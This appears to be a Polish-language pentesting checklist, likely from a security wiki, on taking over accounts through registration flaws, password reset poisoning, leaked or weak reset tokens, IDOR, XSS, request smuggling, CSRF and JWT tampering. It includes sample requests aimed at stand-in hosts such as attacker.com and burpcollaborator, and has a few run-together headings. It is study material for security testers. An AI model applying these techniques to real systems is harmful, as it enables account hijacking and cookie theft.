Registration & Takeover Vulnerabilities
Przejęcie rejestracji
Duplikat rejestracji
Spróbuj wygenerować przy użyciu istniejącej nazwy użytkownika
Sprawdź różne adresy e-mail:
wielkie litery
+1@
dodaj kropkę w adresie e-mail
znaki specjalne w nazwie e-maila (%00, %09, %20)
Dodaj czarne znaki po adresie e-mail:
test@test.com a
victim@gmail.com@attacker.com
victim@attacker.com@gmail.com
Enumeracja nazw użytkowników
Sprawdź, czy możesz ustalić, kiedy nazwa użytkownika została już zarejestrowana w aplikacji.
Polityka haseł
Tworząc użytkownika, sprawdź politykę haseł (sprawdź, czy możesz używać słabych haseł). W takim przypadku możesz spróbować przeprowadzić atak brute force na dane logowania.
SQL Injection
Sprawdź tę stronę , aby dowiedzieć się, jak próbować przejęć kont lub wydobywać informacje za pomocą SQL Injections w formularzach rejestracyjnych.
Przejęcia Oauth
OAuth to Account takeoverLuki SAML
SAML AttacksZmień e-mail
Po rejestracji spróbuj zmienić adres e-mail i sprawdź, czy ta zmiana jest poprawnie weryfikowana, czy można ją zmienić na dowolne adresy e-mail.
Więcej kontroli
Sprawdź, czy możesz używać tymczasowych adresów e-mail
Długie hasło (>200) prowadzi do DoS
Sprawdź limity szybkości przy tworzeniu kont
Użyj username@burp_collab.net i przeanalizuj callback
Przejęcie resetu hasła
Wyciekanie tokena resetu hasła przez referer
Poproś o reset hasła na swój adres e-mail
Kliknij w link do resetu hasła
Nie zmieniaj hasła
Kliknij na dowolne strony trzecie (np. Facebook, Twitter)
Przechwyć żądanie w proxy Burp Suite
Sprawdź, czy nagłówek referer wycieka token resetu hasła.
Zatrucie resetu hasła
Przechwyć żądanie resetu hasła w Burp Suite
Dodaj lub edytuj następujące nagłówki w Burp Suite:
Host: attacker.com
,X-Forwarded-Host: attacker.com
Prześlij żądanie z zmodyfikowanym nagłówkiem
http POST https://example.com/reset.php HTTP/1.1 Accept: */* Content-Type: application/json Host: attacker.com
Szukaj URL resetu hasła na podstawie nagłówka host jak:
https://attacker.com/reset-password.php?token=TOKEN
Reset hasła przez parametr e-mail
IDOR na parametrach API
Atakujący musi zalogować się na swoje konto i przejść do funkcji Zmień hasło.
Uruchom Burp Suite i przechwyć żądanie.
Wyślij je do zakładki repeater i edytuj parametry: ID użytkownika/email
powershell POST /api/changepass [...] ("form": {"email":"victim@email.com","password":"securepwd"})
Słaby token resetowania hasła
Token resetowania hasła powinien być generowany losowo i być unikalny za każdym razem. Spróbuj ustalić, czy token wygasa, czy zawsze jest taki sam; w niektórych przypadkach algorytm generacji jest słaby i można go odgadnąć. Poniższe zmienne mogą być używane przez algorytm.
Znacznik czasu
ID użytkownika
Email użytkownika
Imię i nazwisko
Data urodzenia
Kryptografia
Tylko liczby
Mała sekwencja tokenów (znaki między [A-Z,a-z,0-9])
Ponowne użycie tokenu
Data wygaśnięcia tokenu
Wyciekanie tokenu resetowania hasła
Wywołaj żądanie resetowania hasła za pomocą API/UI dla konkretnego emaila, np: test@mail.com
Sprawdź odpowiedź serwera i poszukaj
resetToken
Następnie użyj tokenu w URL, jak
https://example.com/v3/user/password/reset?resetToken=[THE_RESET_TOKEN]&email=[THE_MAIL]
Resetowanie hasła przez kolizję nazw użytkowników
Zarejestruj się w systemie z nazwą użytkownika identyczną do nazwy użytkownika ofiary, ale z wstawionymi białymi znakami przed i/lub po nazwie użytkownika. np:
"admin "
Poproś o resetowanie hasła za pomocą swojego złośliwego nazwy użytkownika.
Użyj tokenu wysłanego na swój email i zresetuj hasło ofiary.
Zaloguj się na konto ofiary za pomocą nowego hasła.
Platforma CTFd była podatna na ten atak. Zobacz: CVE-2020-7245
Przejęcie konta przez Cross Site Scripting
Znajdź XSS w aplikacji lub subdomenie, jeśli ciasteczka są ograniczone do domeny nadrzędnej:
*.domain.com
Wycieknij aktualne ciasteczko sesji
Uwierzytelnij się jako użytkownik, używając ciasteczka
Przejęcie konta przez HTTP Request Smuggling
1. Użyj smuggler do wykrycia typu HTTP Request Smuggling (CL, TE, CL.TE)
powershell git clone https://github.com/defparam/smuggler.git cd smuggler python3 smuggler.py -h
2. Stwórz żądanie, które nadpisze POST / HTTP/1.1
następującymi danymi:
GET http://something.burpcollaborator.net HTTP/1.1 X:
z celem otwartego przekierowania ofiar do burpcollab i kradzieży ich ciasteczek
3. Ostateczne żądanie może wyglądać następująco
Hackerone raporty wykorzystujące ten błąd * https://hackerone.com/reports/737140 * https://hackerone.com/reports/771666
Przejęcie konta za pomocą CSRF
Stwórz ładunek dla CSRF, np: „formularz HTML z automatycznym przesyłaniem do zmiany hasła”
Wyślij ładunek
Przejęcie konta za pomocą JWT
JSON Web Token może być używany do uwierzytelniania użytkownika.
Edytuj JWT z innym identyfikatorem użytkownika / adresem e-mail
Sprawdź słabą sygnaturę JWT
Odniesienia
Last updated